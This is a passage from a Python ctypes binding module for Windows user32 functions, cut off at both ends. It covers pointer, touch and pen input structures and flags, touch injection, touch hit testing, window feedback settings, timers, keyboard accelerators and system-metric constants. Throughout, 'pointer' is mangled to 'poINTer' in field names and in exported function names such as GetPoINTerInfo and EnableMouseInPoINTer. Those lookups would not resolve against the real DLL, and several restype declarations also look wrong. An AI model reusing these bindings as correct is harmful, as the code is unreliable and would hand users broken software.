4\n PT_TOUCHPAD = 5\n\n\nPOINTER_INPUT_TYPE = DWORD\nPOINTER_FLAGS = UINT32\nPOINTER_FLAG_NONE = 0x00000000\nPOINTER_FLAG_NEW = 0x00000001\nPOINTER_FLAG_INRANGE = 0x00000002\nPOINTER_FLAG_INCONTACT = 0x00000004\nPOINTER_FLAG_FIRSTBUTTON = 0x00000010\nPOINTER_FLAG_SECONDBUTTON = 0x00000020\nPOINTER_FLAG_THIRDBUTTON = 0x00000040\nPOINTER_FLAG_FOURTHBUTTON = 0x00000080\nPOINTER_FLAG_FIFTHBUTTON = 0x00000100\nPOINTER_FLAG_PRIMARY = 0x00002000\nPOINTER_FLAG_CONFIDENCE = 0x00004000\nPOINTER_FLAG_CANCELED = 0x00008000\nPOINTER_FLAG_DOWN = 0x00010000\nPOINTER_FLAG_UPDATE = 0x00020000\nPOINTER_FLAG_UP = 0x00040000\nPOINTER_FLAG_WHEEL = 0x00080000\nPOINTER_FLAG_HWHEEL = 0x00100000\nPOINTER_FLAG_CAPTURECHANGED = 0x00200000\nPOINTER_FLAG_HASTRANSFORM = 0x00400000\nPOINTER_MOD_SHIFT = 0x00000004\nPOINTER_MOD_CTRL = 0x00000008\n\n\nclass tagPOINTER_BUTTON_CHANGE_TYPE(ENUM):\n POINTER_CHANGE_NONE = 0\n POINTER_CHANGE_FIRSTBUTTON_DOWN = 1\n POINTER_CHANGE_FIRSTBUTTON_UP = 2\n POINTER_CHANGE_SECONDBUTTON_DOWN = 3\n POINTER_CHANGE_SECONDBUTTON_UP = 4\n POINTER_CHANGE_THIRDBUTTON_DOWN = 5\n POINTER_CHANGE_THIRDBUTTON_UP = 6\n POINTER_CHANGE_FOURTHBUTTON_DOWN = 7\n POINTER_CHANGE_FOURTHBUTTON_UP = 8\n POINTER_CHANGE_FIFTHBUTTON_DOWN = 9\n POINTER_CHANGE_FIFTHBUTTON_UP = 10\n\n\nPOINTER_BUTTON_CHANGE_TYPE = tagPOINTER_BUTTON_CHANGE_TYPE\n\n\nclass tagPOINTER_INFO(ctypes.Structure):\n _fields_ = [\n ('poINTerType', POINTER_INPUT_TYPE),\n ('poINTerId', UINT32),\n ('frameId', UINT32),\n ('poINTerFlags', POINTER_FLAGS),\n ('sourceDevice', HANDLE),\n ('hwndTarget', HWND),\n ('ptPixelLocation', POINT),\n ('ptHimetricLocation', POINT),\n ('ptPixelLocationRaw', POINT),\n ('ptHimetricLocationRaw', POINT),\n ('dwTime', DWORD),\n ('historyCount', UINT32),\n ('InputData', INT32),\n ('dwKeyStates', DWORD),\n ('PerformanceCount', UINT64),\n ('ButtonChangeType', POINTER_BUTTON_CHANGE_TYPE),\n ]\n\n\nPOINTER_INFO = tagPOINTER_INFO\n\n\nTOUCH_FLAGS = UINT32\nTOUCH_FLAG_NONE = 0x00000000\nTOUCH_MASK = UINT32\nTOUCH_MASK_NONE = 0x00000000\nTOUCH_MASK_CONTACTAREA = 0x00000001\nTOUCH_MASK_ORIENTATION = 0x00000002\nTOUCH_MASK_PRESSURE = 0x00000004\n\n\nclass tagPOINTER_TOUCH_INFO(ctypes.Structure):\n _fields_ = [\n ('poINTerInfo', POINTER_INFO),\n ('touchFlags', TOUCH_FLAGS),\n ('touchMask', TOUCH_MASK),\n ('rcContact', RECT),\n ('rcContactRaw', RECT),\n ('orientation', UINT32),\n ('pressure', UINT32),\n ]\n\n\nPOINTER_TOUCH_INFO = tagPOINTER_TOUCH_INFO\n\n\nPEN_FLAGS = UINT32\nPEN_FLAG_NONE = 0x00000000\nPEN_FLAG_BARREL = 0x00000001\nPEN_FLAG_INVERTED = 0x00000002\nPEN_FLAG_ERASER = 0x00000004\nPEN_MASK = UINT32\nPEN_MASK_NONE = 0x00000000\nPEN_MASK_PRESSURE = 0x00000001\nPEN_MASK_ROTATION = 0x00000002\nPEN_MASK_TILT_X = 0x00000004\nPEN_MASK_TILT_Y = 0x00000008\n\n\nclass tagPOINTER_PEN_INFO(ctypes.Structure):\n _fields_ = [\n ('poINTerInfo', POINTER_INFO),\n ('penFlags', PEN_FLAGS),\n ('penMask', PEN_MASK),\n ('pressure', UINT32),\n ('rotation', UINT32),\n ('tiltX', INT32),\n ('tiltY', INT32),\n ]\n\n\nPOINTER_PEN_INFO = tagPOINTER_PEN_INFO\n\n\nPOINTER_MESSAGE_FLAG_NEW = 0x00000001\nPOINTER_MESSAGE_FLAG_INRANGE = 0x00000002\nPOINTER_MESSAGE_FLAG_INCONTACT = 0x00000004\nPOINTER_MESSAGE_FLAG_FIRSTBUTTON = 0x00000010\nPOINTER_MESSAGE_FLAG_SECONDBUTTON = 0x00000020\nPOINTER_MESSAGE_FLAG_THIRDBUTTON = 0x00000040\nPOINTER_MESSAGE_FLAG_FOURTHBUTTON = 0x00000080\nPOINTER_MESSAGE_FLAG_FIFTHBUTTON = 0x00000100\nPOINTER_MESSAGE_FLAG_PRIMARY = 0x00002000\nPOINTER_MESSAGE_FLAG_CONFIDENCE = 0x00004000\nPOINTER_MESSAGE_FLAG_CANCELED = 0x00008000\n\n\ndef GET_POINTERID_WPARAM(wParam):\n return LOWORD(wParam)\n\n\ndef IS_POINTER_FLAG_SET_WPARAM(wParam, flag):\n return HIWORD(wParam & flag).value == flag\n\n\ndef IS_POINTER_NEW_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_NEW)\n\n\ndef IS_POINTER_INRANGE_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_INRANGE)\n\n\ndef IS_POINTER_INCONTACT_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_INCONTACT)\n\n\ndef IS_POINTER_FIRSTBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_FIRSTBUTTON)\n\n\ndef IS_POINTER_SECONDBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_SECONDBUTTON)\n\n\ndef IS_POINTER_THIRDBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_THIRDBUTTON)\n\n\ndef IS_POINTER_FOURTHBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_FOURTHBUTTON)\n\n\ndef IS_POINTER_FIFTHBUTTON_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_FIFTHBUTTON)\n\n\ndef IS_POINTER_PRIMARY_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_PRIMARY)\n\n\ndef HAS_POINTER_CONFIDENCE_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_CONFIDENCE)\n\n\ndef IS_POINTER_CANCELED_WPARAM(wParam):\n return IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_CANCELED)\n\n\nPA_ACTIVATE = MA_ACTIVATE\nPA_NOACTIVATE = MA_NOACTIVATE\nMAX_TOUCH_COUNT = 0x00000100\nTOUCH_FEEDBACK_DEFAULT = 0x00000001\nTOUCH_FEEDBACK_INDIRECT = 0x00000002\nTOUCH_FEEDBACK_NONE = 0x00000003\n\n# WINAPI\n# InitializeTouchInjection(\n# _In_ UINT32 maxCount,\n# _In_ DWORD dwMode);\nInitializeTouchInjection = user32.InitializeTouchInjection\nInitializeTouchInjection.restype = WINAPI\n\n\n# WINAPI\n# InjectTouchInput(\n# _In_ UINT32 count,\n# _In_reads_(count) CONST POINTER_TOUCH_INFO *contacts);\nInjectTouchInput = user32.InjectTouchInput\nInjectTouchInput.restype = WINAPI\n\n\nclass tagUSAGE_PROPERTIES(ctypes.Structure):\n _fields_ = [\n ('level', USHORT),\n ('page', USHORT),\n ('usage', USHORT),\n ('logicalMinimum', INT32),\n ('logicalMaximum', INT32),\n ('unit', USHORT),\n ('exponent', USHORT),\n ('count', BYTE),\n ('physicalMinimum', INT32),\n ('physicalMaximum', INT32),\n ]\n\n\nUSAGE_PROPERTIES = tagUSAGE_PROPERTIES\nPUSAGE_PROPERTIES = POINTER(tagUSAGE_PROPERTIES)\n\n\n\nclass tagPOINTER_TYPE_INFO(ctypes.Structure):\n _fields_ = [\n ('type', POINTER_INPUT_TYPE),\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ]\n\n\nPOINTER_TYPE_INFO = tagPOINTER_TYPE_INFO\nPPOINTER_TYPE_INFO = POINTER(tagPOINTER_TYPE_INFO)\n\n\n\nclass tagINPUT_INJECTION_VALUE(ctypes.Structure):\n _fields_ = [\n ('page', USHORT),\n ('usage', USHORT),\n ('value', INT32),\n ('index', USHORT),\n ]\n\n\nINPUT_INJECTION_VALUE = tagINPUT_INJECTION_VALUE\nPINPUT_INJECTION_VALUE = POINTER(tagINPUT_INJECTION_VALUE)\n\n\n\n# WINAPI\n# GetPoINTerType(\n# _In_ UINT32 poINTerId,\n# _Out_ POINTER_INPUT_TYPE *poINTerType);\nGetPoINTerType = user32.GetPoINTerType\nGetPoINTerType.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerCursorId(\n# _In_ UINT32 poINTerId,\n# _Out_ UINT32 *cursorId);\nGetPoINTerCursorId = user32.GetPoINTerCursorId\nGetPoINTerCursorId.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerInfo(\n# _In_ UINT32 poINTerId,\n# _Out_writes_(1) POINTER_INFO *poINTerInfo);\nGetPoINTerInfo = user32.GetPoINTerInfo\nGetPoINTerInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Out_writes_opt_(*entriesCount) POINTER_INFO *poINTerInfo);\nGetPoINTerInfoHistory = user32.GetPoINTerInfoHistory\nGetPoINTerInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFrameInfo(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*poINTerCount) POINTER_INFO *poINTerInfo);\nGetPoINTerFrameInfo = user32.GetPoINTerFrameInfo\nGetPoINTerFrameInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFrameInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*entriesCount * *poINTerCount) POINTER_INFO *poINTerInfo);\nGetPoINTerFrameInfoHistory = user32.GetPoINTerFrameInfoHistory\nGetPoINTerFrameInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerTouchInfo(\n# _In_ UINT32 poINTerId,\n# _Out_writes_(1) POINTER_TOUCH_INFO *touchInfo);\nGetPoINTerTouchInfo = user32.GetPoINTerTouchInfo\nGetPoINTerTouchInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerTouchInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Out_writes_opt_(*entriesCount) POINTER_TOUCH_INFO *touchInfo);\nGetPoINTerTouchInfoHistory = user32.GetPoINTerTouchInfoHistory\nGetPoINTerTouchInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFrameTouchInfo(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*poINTerCount) POINTER_TOUCH_INFO *touchInfo);\nGetPoINTerFrameTouchInfo = user32.GetPoINTerFrameTouchInfo\nGetPoINTerFrameTouchInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFrameTouchInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*entriesCount * *poINTerCount) POINTER_TOUCH_INFO *touchInfo);\nGetPoINTerFrameTouchInfoHistory = user32.GetPoINTerFrameTouchInfoHistory\nGetPoINTerFrameTouchInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerPenInfo(\n# _In_ UINT32 poINTerId,\n# _Out_writes_(1) POINTER_PEN_INFO *penInfo);\nGetPoINTerPenInfo = user32.GetPoINTerPenInfo\nGetPoINTerPenInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerPenInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Out_writes_opt_(*entriesCount) POINTER_PEN_INFO *penInfo);\nGetPoINTerPenInfoHistory = user32.GetPoINTerPenInfoHistory\nGetPoINTerPenInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFramePenInfo(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*poINTerCount) POINTER_PEN_INFO *penInfo);\nGetPoINTerFramePenInfo = user32.GetPoINTerFramePenInfo\nGetPoINTerFramePenInfo.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerFramePenInfoHistory(\n# _In_ UINT32 poINTerId,\n# _Inout_ UINT32 *entriesCount,\n# _Inout_ UINT32 *poINTerCount,\n# _Out_writes_opt_(*entriesCount * *poINTerCount) POINTER_PEN_INFO *penInfo);\nGetPoINTerFramePenInfoHistory = user32.GetPoINTerFramePenInfoHistory\nGetPoINTerFramePenInfoHistory.restype = WINAPI\n\n\n# WINAPI\n# SkipPoINTerFrameMessages(\n# _In_ UINT32 poINTerId);\nSkipPoINTerFrameMessages = user32.SkipPoINTerFrameMessages\nSkipPoINTerFrameMessages.restype = WINAPI\n\n\n# WINAPI\n# RegisterPoINTerInputTarget(\n# _In_ HWND hwnd,\n# _In_ POINTER_INPUT_TYPE poINTerType);\nRegisterPoINTerInputTarget = user32.RegisterPoINTerInputTarget\nRegisterPoINTerInputTarget.restype = WINAPI\n\n\n# WINAPI\n# UnregisterPoINTerInputTarget(\n# _In_ HWND hwnd,\n# _In_ POINTER_INPUT_TYPE poINTerType);\nUnregisterPoINTerInputTarget = user32.UnregisterPoINTerInputTarget\nUnregisterPoINTerInputTarget.restype = WINAPI\n\n\n# WINAPI\n# RegisterPoINTerInputTargetEx(\n# _In_ HWND hwnd,\n# _In_ POINTER_INPUT_TYPE poINTerType,\n# _In_ BOOL fObserve);\nRegisterPoINTerInputTargetEx = user32.RegisterPoINTerInputTargetEx\nRegisterPoINTerInputTargetEx.restype = WINAPI\n\n\n# WINAPI\n# UnregisterPoINTerInputTargetEx(\n# _In_ HWND hwnd,\n# _In_ POINTER_INPUT_TYPE poINTerType);\nUnregisterPoINTerInputTargetEx = user32.UnregisterPoINTerInputTargetEx\nUnregisterPoINTerInputTargetEx.restype = WINAPI\n\n\n# WINAPI\n# EnableMouseInPoINTer(\n# _In_ BOOL fEnable);\nEnableMouseInPoINTer = user32.EnableMouseInPoINTer\nEnableMouseInPoINTer.restype = WINAPI\n\n\n# WINAPI\n# IsMouseInPoINTerEnabled(\n# VOID);\nIsMouseInPoINTerEnabled = user32.IsMouseInPoINTerEnabled\nIsMouseInPoINTerEnabled.restype = WINAPI\n\n\n# WINAPI\n# EnableMouseInPoINTerForThread();\nEnableMouseInPoINTerForThread = user32.EnableMouseInPoINTerForThread\nEnableMouseInPoINTerForThread.restype = WINAPI\n\nTOUCH_HIT_TESTING_DEFAULT = 0x00000000\nTOUCH_HIT_TESTING_CLIENT = 0x00000001\nTOUCH_HIT_TESTING_NONE = 0x00000002\n\n# WINAPI\n# RegisterTouchHitTestingWindow(\n# _In_ HWND hwnd,\n# _In_ ULONG value);\nRegisterTouchHitTestingWindow = user32.RegisterTouchHitTestingWindow\nRegisterTouchHitTestingWindow.restype = WINAPI\n\n\nclass tagTOUCH_HIT_TESTING_PROXIMITY_EVALUATION(ctypes.Structure):\n _fields_ = [\n ('score', UINT16),\n ('adjustedPoINT', POINT),\n ]\n\n\nTOUCH_HIT_TESTING_PROXIMITY_EVALUATION = tagTOUCH_HIT_TESTING_PROXIMITY_EVALUATION\nPTOUCH_HIT_TESTING_PROXIMITY_EVALUATION = POINTER(tagTOUCH_HIT_TESTING_PROXIMITY_EVALUATION)\n\n\n\nclass tagTOUCH_HIT_TESTING_INPUT(ctypes.Structure):\n _fields_ = [\n ('poINTerId', UINT32),\n ('poINT', POINT),\n ('boundingBox', RECT),\n ('nonOccludedBoundingBox', RECT),\n ('orientation', UINT32),\n ]\n\n\nTOUCH_HIT_TESTING_INPUT = tagTOUCH_HIT_TESTING_INPUT\nPTOUCH_HIT_TESTING_INPUT = POINTER(tagTOUCH_HIT_TESTING_INPUT)\n\n\nTOUCH_HIT_TESTING_PROXIMITY_CLOSEST = 0x00000000\nTOUCH_HIT_TESTING_PROXIMITY_FARTHEST = 0x00000FFF\n\n# WINAPI\n# EvaluateProximityToRect(\n# _In_ RECT *controlBoundingBox,\n# _In_ TOUCH_HIT_TESTING_INPUT *pHitTestingInput,\n# _Out_ TOUCH_HIT_TESTING_PROXIMITY_EVALUATION *pProximityEval);\nEvaluateProximityToRect = user32.EvaluateProximityToRect\nEvaluateProximityToRect.restype = WINAPI\n\n\n# WINAPI\n# EvaluateProximityToPolygon(\n# UINT32 numVertices,\n# _In_reads_(numVertices) POINT *controlPolygon,\n# _In_ TOUCH_HIT_TESTING_INPUT *pHitTestingInput,\n# _Out_ TOUCH_HIT_TESTING_PROXIMITY_EVALUATION *pProximityEval);\nEvaluateProximityToPolygon = user32.EvaluateProximityToPolygon\nEvaluateProximityToPolygon.restype = WINAPI\n\n\n# WINAPI\n# PackTouchHitTestingProximityEvaluation(\n# _In_ TOUCH_HIT_TESTING_INPUT *pHitTestingInput,\n# _In_ TOUCH_HIT_TESTING_PROXIMITY_EVALUATION *pProximityEval);\nPackTouchHitTestingProximityEvaluation = (\n user32.PackTouchHitTestingProximityEvaluation\n)\nPackTouchHitTestingProximityEvaluation.restype = WINAPI\n\nclass tagFEEDBACK_TYPE(ENUM):\n FEEDBACK_TOUCH_CONTACTVISUALIZATION = 1\n FEEDBACK_PEN_BARRELVISUALIZATION = 2\n FEEDBACK_PEN_TAP = 3\n FEEDBACK_PEN_DOUBLETAP = 4\n FEEDBACK_PEN_PRESSANDHOLD = 5\n FEEDBACK_PEN_RIGHTTAP = 6\n FEEDBACK_TOUCH_TAP = 7\n FEEDBACK_TOUCH_DOUBLETAP = 8\n FEEDBACK_TOUCH_PRESSANDHOLD = 9\n FEEDBACK_TOUCH_RIGHTTAP = 10\n FEEDBACK_GESTURE_PRESSANDTAP = 11\n FEEDBACK_MAX = 0xFFFFFFFF\n\n\nFEEDBACK_TYPE = tagFEEDBACK_TYPE\n\n\nGWFS_INCLUDE_ANCESTORS = 0x00000001\n\n# WINAPI\n# GetWindowFeedbackSetting(\n# _In_ HWND hwnd,\n# _In_ FEEDBACK_TYPE feedback,\n# _In_ DWORD dwFlags,\n# _Inout_ UINT32* pSize,\n# _Out_writes_bytes_opt_(*pSize) VOID* config);\nGetWindowFeedbackSetting = user32.GetWindowFeedbackSetting\nGetWindowFeedbackSetting.restype = WINAPI\n\n\n# WINAPI\n# SetWindowFeedbackSetting(\n# _In_ HWND hwnd,\n# _In_ FEEDBACK_TYPE feedback,\n# _In_ DWORD dwFlags,\n# _In_ UINT32 size,\n# _In_reads_bytes_opt_(size) CONST VOID* configuration);\nSetWindowFeedbackSetting = user32.SetWindowFeedbackSetting\nSetWindowFeedbackSetting.restype = WINAPI\n\n\nclass tagINPUT_TRANSFORM(ctypes.Structure):\n _fields_ = [\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ]\n\n\nINPUT_TRANSFORM = tagINPUT_TRANSFORM\n\n\n\n# WINAPI\n# GetPoINTerInputTransform(\n# _In_ UINT32 poINTerId,\n# _In_ UINT32 historyCount,\n# _Out_writes_(historyCount) INPUT_TRANSFORM *inputTransform);\nGetPoINTerInputTransform = user32.GetPoINTerInputTransform\nGetPoINTerInputTransform.restype = WINAPI\n\n\nclass tagLASTINPUTINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwTime', DWORD),\n ]\n\n\nLASTINPUTINFO = tagLASTINPUTINFO\nPLASTINPUTINFO = POINTER(tagLASTINPUTINFO)\n\n\n\n# WINAPI\n# GetLastInputInfo(\n# _Out_ PLASTINPUTINFO plii);\nGetLastInputInfo = user32.GetLastInputInfo\nGetLastInputInfo.restype = WINAPI\n\n\n# WINAPI\n# MapVirtualKeyA(\n# _In_ UINT uCode,\n# _In_ UINT uMapType);\nMapVirtualKeyA = user32.MapVirtualKeyA\nMapVirtualKeyA.restype = WINAPI\n\n\n# WINAPI\n# MapVirtualKeyW(\n# _In_ UINT uCode,\n# _In_ UINT uMapType);\nMapVirtualKeyW = user32.MapVirtualKeyW\nMapVirtualKeyW.restype = WINAPI\n\nMapVirtualKey = MapVirtualKeyW\n# MapVirtualKey = MapVirtualKeyA\n\n# WINAPI\n# MapVirtualKeyExA(\n# _In_ UINT uCode,\n# _In_ UINT uMapType,\n# _In_opt_ HKL dwhkl);\nMapVirtualKeyExA = user32.MapVirtualKeyExA\nMapVirtualKeyExA.restype = WINAPI\n\n\n# WINAPI\n# MapVirtualKeyExW(\n# _In_ UINT uCode,\n# _In_ UINT uMapType,\n# _In_opt_ HKL dwhkl);\nMapVirtualKeyExW = user32.MapVirtualKeyExW\nMapVirtualKeyExW.restype = WINAPI\n\nMapVirtualKeyEx = MapVirtualKeyExW\n# MapVirtualKeyEx = MapVirtualKeyExA\nMAPVK_VK_TO_VSC = 0x00000000\nMAPVK_VSC_TO_VK = 0x00000001\nMAPVK_VK_TO_CHAR = 0x00000002\nMAPVK_VSC_TO_VK_EX = 0x00000003\nMAPVK_VK_TO_VSC_EX = 0x00000004\n\n# WINAPI\n# GetInputState(\n# VOID);\nGetInputState = user32.GetInputState\nGetInputState.restype = WINAPI\n\n\n# WINAPI\n# GetQueueStatus(\n# _In_ UINT flags);\nGetQueueStatus = user32.GetQueueStatus\nGetQueueStatus.restype = WINAPI\n\n\n# WINAPI\n# GetCapture(\n# VOID);\nGetCapture = user32.GetCapture\nGetCapture.restype = WINAPI\n\n\n# WINAPI\n# SetCapture(\n# _In_ HWND hWnd);\nSetCapture = user32.SetCapture\nSetCapture.restype = WINAPI\n\n\n# WINAPI\n# ReleaseCapture(\n# VOID);\nReleaseCapture = user32.ReleaseCapture\nReleaseCapture.restype = WINAPI\n\n\n# WINAPI\n# MsgWaitForMultipleObjects(\n# _In_ DWORD nCount,\n# _In_reads_opt_(nCount) CONST HANDLE *pHandles,\n# _In_ BOOL fWaitAll,\n# _In_ DWORD dwMilliseconds,\n# _In_ DWORD dwWakeMask);\nMsgWaitForMultipleObjects = user32.MsgWaitForMultipleObjects\nMsgWaitForMultipleObjects.restype = WINAPI\n\n\n# WINAPI\n# MsgWaitForMultipleObjectsEx(\n# _In_ DWORD nCount,\n# _In_reads_opt_(nCount) CONST HANDLE *pHandles,\n# _In_ DWORD dwMilliseconds,\n# _In_ DWORD dwWakeMask,\n# _In_ DWORD dwFlags);\nMsgWaitForMultipleObjectsEx = user32.MsgWaitForMultipleObjectsEx\nMsgWaitForMultipleObjectsEx.restype = WINAPI\n\nMWMO_WAITALL = 0x00000001\nMWMO_ALERTABLE = 0x00000002\nMWMO_INPUTAVAILABLE = 0x00000004\n\nUSER_TIMER_MAXIMUM = 0x7FFFFFFF\nUSER_TIMER_MINIMUM = 0x0000000A\n\n# WINAPI\n# SetTimer(\n# _In_opt_ HWND hWnd,\n# _In_ UINT_PTR nIDEvent,\n# _In_ UINT uElapse,\n# _In_opt_ TIMERPROC lpTimerFunc);\nSetTimer = user32.SetTimer\nSetTimer.restype = WINAPI\n\nTIMERV_DEFAULT_COALESCING = 0x00000000\nTIMERV_NO_COALESCING = 0xFFFFFFFF\nTIMERV_COALESCING_MIN = 0x00000001\nTIMERV_COALESCING_MAX = 0x7FFFFFF5\n\n# WINAPI\n# SetCoalescableTimer(\n# _In_opt_ HWND hWnd,\n# _In_ UINT_PTR nIDEvent,\n# _In_ UINT uElapse,\n# _In_opt_ TIMERPROC lpTimerFunc,\n# _In_ ULONG uToleranceDelay);\nSetCoalescableTimer = user32.SetCoalescableTimer\nSetCoalescableTimer.restype = WINAPI\n\n\n# WINAPI\n# KillTimer(\n# _In_opt_ HWND hWnd,\n# _In_ UINT_PTR uIDEvent);\nKillTimer = user32.KillTimer\nKillTimer.restype = WINAPI\n\n\n# WINAPI\n# IsWindowUnicode(\n# _In_ HWND hWnd);\nIsWindowUnicode = user32.IsWindowUnicode\nIsWindowUnicode.restype = WINAPI\n\n\n# WINAPI\n# EnableWindow(\n# _In_ HWND hWnd,\n# _In_ BOOL bEnable);\nEnableWindow = user32.EnableWindow\nEnableWindow.restype = WINAPI\n\n\n# WINAPI\n# IsWindowEnabled(\n# _In_ HWND hWnd);\nIsWindowEnabled = user32.IsWindowEnabled\nIsWindowEnabled.restype = WINAPI\n\n\n# WINAPI\n# LoadAcceleratorsA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpTableName);\nLoadAcceleratorsA = user32.LoadAcceleratorsA\nLoadAcceleratorsA.restype = WINAPI\n\n\n# WINAPI\n# LoadAcceleratorsW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpTableName);\nLoadAcceleratorsW = user32.LoadAcceleratorsW\nLoadAcceleratorsW.restype = WINAPI\n\nLoadAccelerators = LoadAcceleratorsW\n# LoadAccelerators = LoadAcceleratorsA\n\n# WINAPI\n# CreateAcceleratorTableA(\n# _In_reads_(cAccel) LPACCEL paccel,\n# _In_ INT cAccel);\nCreateAcceleratorTableA = user32.CreateAcceleratorTableA\nCreateAcceleratorTableA.restype = WINAPI\n\n\n# WINAPI\n# CreateAcceleratorTableW(\n# _In_reads_(cAccel) LPACCEL paccel,\n# _In_ INT cAccel);\nCreateAcceleratorTableW = user32.CreateAcceleratorTableW\nCreateAcceleratorTableW.restype = WINAPI\n\nCreateAcceleratorTable = CreateAcceleratorTableW\n# CreateAcceleratorTable = CreateAcceleratorTableA\n\n# WINAPI\n# DestroyAcceleratorTable(\n# _In_ HACCEL hAccel);\nDestroyAcceleratorTable = user32.DestroyAcceleratorTable\nDestroyAcceleratorTable.restype = WINAPI\n\n\n# WINAPI\n# CopyAcceleratorTableA(\n# _In_ HACCEL hAccelSrc,\n# _Out_writes_to_opt_(cAccelEntries, return) LPACCEL lpAccelDst,\n# _In_ INT cAccelEntries);\nCopyAcceleratorTableA = user32.CopyAcceleratorTableA\nCopyAcceleratorTableA.restype = WINAPI\n\n\n# WINAPI\n# CopyAcceleratorTableW(\n# _In_ HACCEL hAccelSrc,\n# _Out_writes_to_opt_(cAccelEntries, return) LPACCEL lpAccelDst,\n# _In_ INT cAccelEntries);\nCopyAcceleratorTableW = user32.CopyAcceleratorTableW\nCopyAcceleratorTableW.restype = WINAPI\n\nCopyAcceleratorTable = CopyAcceleratorTableW\n# CopyAcceleratorTable = CopyAcceleratorTableA\n\n# WINAPI\n# TranslateAcceleratorA(\n# _In_ HWND hWnd,\n# _In_ HACCEL hAccTable,\n# _In_ LPMSG lpMsg);\nTranslateAcceleratorA = user32.TranslateAcceleratorA\nTranslateAcceleratorA.restype = WINAPI\n\n\n# WINAPI\n# TranslateAcceleratorW(\n# _In_ HWND hWnd,\n# _In_ HACCEL hAccTable,\n# _In_ LPMSG lpMsg);\nTranslateAcceleratorW = user32.TranslateAcceleratorW\nTranslateAcceleratorW.restype = WINAPI\n\nTranslateAccelerator = TranslateAcceleratorW\n# TranslateAccelerator = TranslateAcceleratorA\nSM_CXSCREEN = 0x00000000\nSM_CYSCREEN = 0x00000001\nSM_CXVSCROLL = 0x00000002\nSM_CYHSCROLL = 0x00000003\nSM_CYCAPTION = 0x00000004\nSM_CXBORDER = 0x00000005\nSM_CYBORDER = 0x00000006\nSM_CXDLGFRAME = 0x00000007\nSM_CYDLGFRAME = 0x00000008\nSM_CYVTHUMB = 0x00000009\nSM_CXHTHUMB = 0x0000000A\nSM_CXICON = 0x0000000B\nSM_CYICON = 0x0000000C\nSM_CXCURSOR = 0x0000000D\nSM_CYCURSOR = 0x0000000E\nSM_CYMENU = 0x0000000F\nSM_CXFULLSCREEN = 0x00000010\nSM_CYFULLSCREEN = 0x00000011\nSM_CYKANJIWINDOW = 0x00000012\nSM_MOUSEPRESENT = 0x00000013\nSM_CYVSCROLL = 0x00000014\nSM_CXHSCROLL = 0x00000015\nSM_DEBUG = 0x00000016\nSM_SWAPBUTTON = 0x00000017\nSM_RESERVED1 = 0x00000018\nSM_RESERVED2 = 0x00000019\nSM_RESERVED3 = 0x0000001A\nSM_RESERVED4 = 0x0000001B\nSM_CXMIN = 0x0000001C\nSM_CYMIN = 0x0000001D\nSM_CXSIZE = 0x0000001E\nSM_CYSIZE = 0x0000001F\nSM_CXFRAME = 0x00000020\nSM_CYFRAME = 0x00000021\nSM_CXMINTRACK = 0x00000022\nSM_CYMINTRACK = 0x00000023\nSM_CXDOUBLECLK = 0x00000024\nSM_CYDOUBLECLK = 0x00000025\nSM_CXICONSPACING = 0x00000026\nSM_CYICONSPACING = 0x00000027\nSM_MENUDROPALIGNMENT = 0x00000028\nSM_PENWINDOWS = 0x00000029\nSM_DBCSENABLED = 0x0000002A\nSM_CMOUSEBUTTONS = 0x0000002B\nSM_CXFIXEDFRAME = SM_CXDLGFRAME\nSM_CYFIXEDFRAME = 